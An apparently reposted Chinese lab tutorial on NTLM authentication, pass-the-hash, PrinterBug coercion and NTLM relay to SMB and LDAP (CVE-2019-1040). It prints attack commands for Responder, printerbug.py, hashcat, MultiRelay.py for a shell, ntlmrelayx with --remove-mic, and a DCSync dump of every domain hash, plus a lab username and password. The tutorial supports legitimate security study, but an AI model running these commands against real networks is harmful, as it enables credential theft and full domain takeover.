当前位置: 首页 > news >正文

【内网渗透】——NTML以及Hash Relay

【内网渗透】——NTLM以及Hash Relay


文章目录

  • 【内网渗透】——NTLM以及Hash Relay
    • @[toc]
    • 前情提要
    • 1.NTML网络认证机制
      • 1.1NTML协议
      • 1.2NET NTMLv2
      • 1.3NTML的认证方式
      • 1.4NTLM hash的生成方法:
    • 2.PTH(pass the hash)
      • 2.1原理
      • 2.2漏洞原理
      • 2.3实验环境
      • 2.4攻击过程
    • 3Hash Relay
      • 3.1概念
      • 3.2Relay to SMB
      • 3.3获取权限
    • 4Relay To LDAP
      • 4.1概念
      • 4.2利用条件
      • 4.3**漏洞利用攻击链**
      • 4.4漏洞复现

前情提要

Windows内部不保存明文密码,只保存密码的hash。存放在本地的%SystemRoot%\system32\config\sam文件之中。类似的,在域环境下,DC (Domain Controller,域控制器)中也存在这样的数据库AD (Account Database),位于ntds.dit文件而为了解决LM加密和身份验证方案中固有的安全弱点,引入了NTML协议。

1.NTML网络认证机制

1.1NTML协议

NTLM是一种网络认证协议,与NTLM Hash的关系就是:NTLM网络认证协议是以NTLM Hash作为根本凭证进行认证的协议。在本地认证的过程中,其实就是将用户输入的密码转换为NTLM Hash与SAM中的NTLM Hash进行比较。

NTLM是除Kerberos之外的一种网络认证协议,只支持Windows。它是一种基于质询/应答 (Challenge/Response)消息交换模式的认证机制, 常用于工作组和域环境下登录场景的身份认证

[!NOTE]

NTML认证流程

1.用户使用本地账户的凭证,服务器在本地数据库中拥有该账户的密码,可以对用户进行验证.

2.在Active Directory中,用户身份验证期间使用域用户,这个时候会要求域控制器对其用户进行验证.

1.2NET NTMLv2

NTMLv1和NTMLv2最显著的区别就是Challenge与加密算法不同

Net-ntlm hash v1的格式为:
username::hostname:LM response:NTLM response:challengeNet-ntlm hash v2的格式为:
username::domain:challenge:HMAC-MD5:blob

1.3NTML的认证方式

交互式验证:交互式提供必要凭据,通常应用场景通常为登录,即用户要登录某台客户端。

非交互式验证:无需交互式提供凭据,在实际应用中,比如命令行直接指定用户名、密码的方式登录,再比如我们在客户端上使用net use命令去映射服务器上某个共享文件夹的方式,这些便属于属于非交互式认证。但非交互式认证的应用场景更多的是已登录某客户端的用户去请求另一台服务器的资源 ,或者为单点登录(SSO)的方式,即用户只需要登录一次即可访问所有相互信任的应用系统及共享资源。

net use x: \\17.10.0.10\$share /u:administrator password 

[!NOTE]

  1. x: - 指定将网络共享映射到本地的 X: 驱动器
  2. \\17.10.0.10\$share - 网络共享路径
    • \\17.10.0.10 - 目标服务器的 IP 地址
    • \$share - 服务器上的共享文件夹名称
    • 注意:共享名前的 $ 表示这是一个隐藏共享(默认情况下在浏览网络时不可见)
  3. /u:administrator password - 认证凭据
    • /u:administrator - 指定使用 “administrator” 用户名连接
    • password - 指定该用户的密码(注意:这里密码是以明文形式显示)

1.4NTLM hash的生成方法:

  1. 将明文口令转换成十六进制的格式

  2. 转换成Unicode格式,即在每个字节之后添加0x00

  3. 对Unicode字符串作MD4加密,生成32位的十六进制数字串

 NTML hash=md4(Unicode("password"))共16个字节

2.PTH(pass the hash)

2.1原理

  • 攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

  • 利用中继(Relay):攻击者截获受害者的 NTLM 认证流量(如SMB、HTTP等),将其转发至目标服务器,冒充受害者身份完成认证。

  • 无需破解密码:直接使用捕获的 NTLM HashNet-NTLMv2 Hash 进行身份验证。

PrinterBug (SpoolSample) 漏洞利用

2.2漏洞原理

PrinterBug(CVE-未分配,MS-RPRN滥用)允许攻击者强制 Windows 主机(包括域控制器)向攻击者控制的机器发起 NTLM 认证,从而捕获 NTLMv2 Hash 或进行 NTLM Relay 攻击

2.3实验环境

角色IP主机备注
攻击机(KaliLinux)192.168.66.65root运行 Responder/Impacket
目标机(windows10)192.168.70.149DESKTOP-SMR8SKD.test.com启用 Spooler 服务
域控制器(Windows08)192.168.70.149WIN-ISB0SNPKEPI.test.com用于 NTLM Relay

2.4攻击过程

①确认目标print spooler服务状态
在这里插入图片描述

②启动Responder监听,在攻击机上启动responder,准备捕获NTML认证

sudo responder -I eth0 -A -v

[!NOTE]

  • -I eth0:指定监听接口
  • -A:仅捕获认证不主动攻击
  • -v:显示详细日志

在这里插入图片描述

③使用Impacket工具包中的printerbug.py触发漏洞

python3 printerbug.py test.com/s4u2@192.168.70.151 192.168.70.134

[!NOTE]

  • test.com/s4u2:域账号凭据
  • @192.168.70.151:目标服务器
  • 192.168.70.134:攻击机IP(Responder监听地址)

在这里插入图片描述

④捕获Net-NTLMv2 Hash成功

在这里插入图片描述

Hash会被自动保存在/usr/share/responder/logs/目录下。

⑤Hash破解(可选)

可以使用Hashcat尝试破解捕获的Hash:

hashcat -m 5600 hash.txt rockyou.txt

[!NOTE]

  • -m 5600:指定Net-NTLMv2 Hash类型
  • hash.txt:包含捕获的Hash文件
  • rockyou.txt:密码字典

3Hash Relay

3.1概念

它是发生在NTLM认证的第三步,在 Type3 Response消息中存在Net-NTLM Hash,当攻击者获得了Net-NTLM Hash后,可以进行中间人攻击,重放Net-NTLM Hash,这种攻击手法也就是大家所说的**NTLM Relay(NTLM 中继)**攻击。

前情条件这样才可以进行relay攻击

在这里插入图片描述

进行NTLM Relay攻击有两步:

  • 第一步是获取Net-NTLM Hash
  • 第二步是重放Net-NTLM Hash

在这里插入图片描述

3.2Relay to SMB

NTLM Relay的一种常见用途是在域中通过relay到smb服务,将管理组成员中继到一些敏感的机器上。直接Relay到SMB服务器,是最直接简单的方法。可以直接控制该服务器执行任意命令、dump hash等操作

relay到smb服务要求被攻击机器不能开启SMB签名,普通域内机器默认不是开启的,但是域控是默认开启的。在域环境中,默认普通域用户可以登录除域控外的其他所有机器(但是为了安全,企业运维人员通常会限制域用户登录的主机),因此可以将Net-NTLM Hash Relay到域内的其他机器。如果是拿到了域控机器的Net-NTLM Hash,可以Relay到除域控外的其他所有机器(为啥不Relay到其他域控,因为域内只有域控默认开启SMB签名)。

3.3获取权限

Responder下的MultiRelay.py脚本

该脚本功能强大,通过ALL参数可以获得一个稳定的shell,还有抓密码等其他功能。

python2 MultiRelay.py  -t 192.168.111.131 -u ALL

①WIN2008的SMB服务默认关闭

在这里插入图片描述

②WIN10的SMB服务

在这里插入图片描述

③利用漏洞强制注入(printerbug)获得权限

python3 printerbug.py test.com/s4u2@192.168.70.135 192.168.70.134

在这里插入图片描述

④攻击流程图

在这里插入图片描述

4Relay To LDAP

4.1概念

relay到ldap有两个经典的利用:CVE-2018-8581和CVE-2019-1040

4.2利用条件

relay到ldap主要有三个利用思路,在impacket里面的ntlmrelayx都有实现

  • Exchange服务器可以是任何版本(包括为PrivExchange修补的版本)。唯一的要求是,在以共享权限或RBAC模式安装,Exchange默认具有高权限。
  • 域内任意账户。(由于能产生SpoolService错误的唯一要求是任何经过身份验证的域内帐户)
  • CVE-2019-1040漏洞的实质是NTLM数据包完整性校验存在缺陷,故可以修改NTLM身份验证数据包而不会使身份验证失效。而此攻击链中攻击者删除了数据包中阻止从SMB转发到LDAP的标志。
  • 构造请求使Exchange Server向攻击者进行身份验证,并通过LDAP将该身份验证中继到域控制器,即可使用中继受害者的权限在Active Directory中执行操作。比如为攻击者帐户授予DCSync权限。
  • 如果在可信但完全不同的AD林中有用户,同样可以在域中执行完全相同的攻击。(因为任何经过身份验证的用户都可以触发SpoolService反向连接)

4.3漏洞利用攻击链

  • 使用域内任意帐户,通过SMB连接到被攻击ExchangeServer,并指定中继攻击服务器。同时必须利用SpoolService错误触发反向SMB链接。
  • 中继服务器通过SMB回连攻击者主机,然后利用ntlmrelayx将利用CVE-2019-1040漏洞修改NTLM身份验证数据后的SMB请求据包中继到LDAP。
  • 使用中继的LDAP身份验证,此时Exchange Server可以为攻击者帐户授予DCSync权限。
  • 攻击者帐户使用DCSync转储AD域中的所有域用户密码哈希值(包含域管理员的hash,此时已拿下整个域)。

4.4漏洞复现

4.4.1复现环境

DC :      
Windows server 2008 R2   
192.168.70.151     
WIN-ISB0SPNKEPI.test.com
Exchange:
Windows 10     
192.168.70.135      
DESKTOP-SMR8SKD.test.com      
攻击机:   Kali  
192.168.70.134
已获得的普通域用户: 
s4u2
QAX@123

①执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中–remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限。

impacket-ntlmrelayx -t ldap://192.168.70.158 -smb2support --remove-mic --no-dump --no-da
impacket-ntlmrelayx -t ldaps://192.168.70.158 -smb2support --remove-mic --no-dump --no-da(域控IP)

在这里插入图片描述

② 执行printerbug.py脚本,触发SpoolService的bug。

python3 printerbug.py test.com/s4u2@192.168.70.156 192.168.70.134(WIN10 kali)

在这里插入图片描述

③SpoolService的bug导致Exchange服务器回连到ntlmrelayx.py,即将认证信息发送到ntlmrelayx.py。可以在下图中看到认证用户是

在这里插入图片描述

在这里插入图片描述

接着ntlmrelayx.py开始执行LDAP攻击。

④ 之后,s4u2就可以通过secretsdump.py的DCSync功能dump出所有密码哈希值:

在这里插入图片描述

也就是说 s4u2用户已经具有高权限

相关文章:

  • 2025年渗透测试面试题总结-360[实习]安全工程师(题目+回答)
  • 高带宽时代来临,G口服务器线路选型要注意哪些问题?
  • 用PyTorch在超大规模下训练深度学习模型:并行策略全解析
  • MCU裸机程序如何移植到RTOS?
  • SCDN如何有效防护网站免受CC攻击?——安全加速网络的实战解析
  • Java Queue 接口实现
  • 《社交应用动态表情:RN与Flutter实战解码》
  • 数据结构与算法-双向链表专题
  • 如何自定义 Spring MVC 的配置?
  • [学习] RTKLib详解:rtcm2.c、rtcm3.c、rtcm3e与rtcmn.c
  • Spring Web MVC————入门(2)
  • 【极兔快递Java社招】一面复盘|数据库+线程池+AQS+中间件面面俱到
  • 下载的旧版的jenkins,为什么没有旧版的插件
  • 【docker】--容器管理
  • 代码随想录训练营第二十三天| 572.另一颗树的子树 104.二叉树的最大深度 559.N叉树的最大深度 111.二叉树的最小深度
  • 入门OpenTelemetry——部署OpenTelemetry
  • AI智能分析网关V4周界入侵检测算法精准监测与智能分析,筑牢周界安全防线
  • 《AI大模型应知应会100篇》第62篇:TypeChat——类型安全的大模型编程框架
  • 【SSL证书系列】操作系统如何保障根证书的有效性和安全
  • 适配华为昇腾 NPU 的交互式监控工具
  • 诠释微末处的丰盈:“上海制造佳品汇”首届海外专场即将亮相日本大阪
  • 前四个月社会融资规模增量累计为16.34万亿元,比上年同期多3.61万亿元
  • “水运江苏”“航运浙江”,江浙两省为何都在发力内河航运?
  • 马上评丨岂能为流量拿自己的生命开玩笑
  • 联合国秘书长欢迎中美经贸高层会谈成果
  • 《审判》|“被告”的魅力:K在等什么?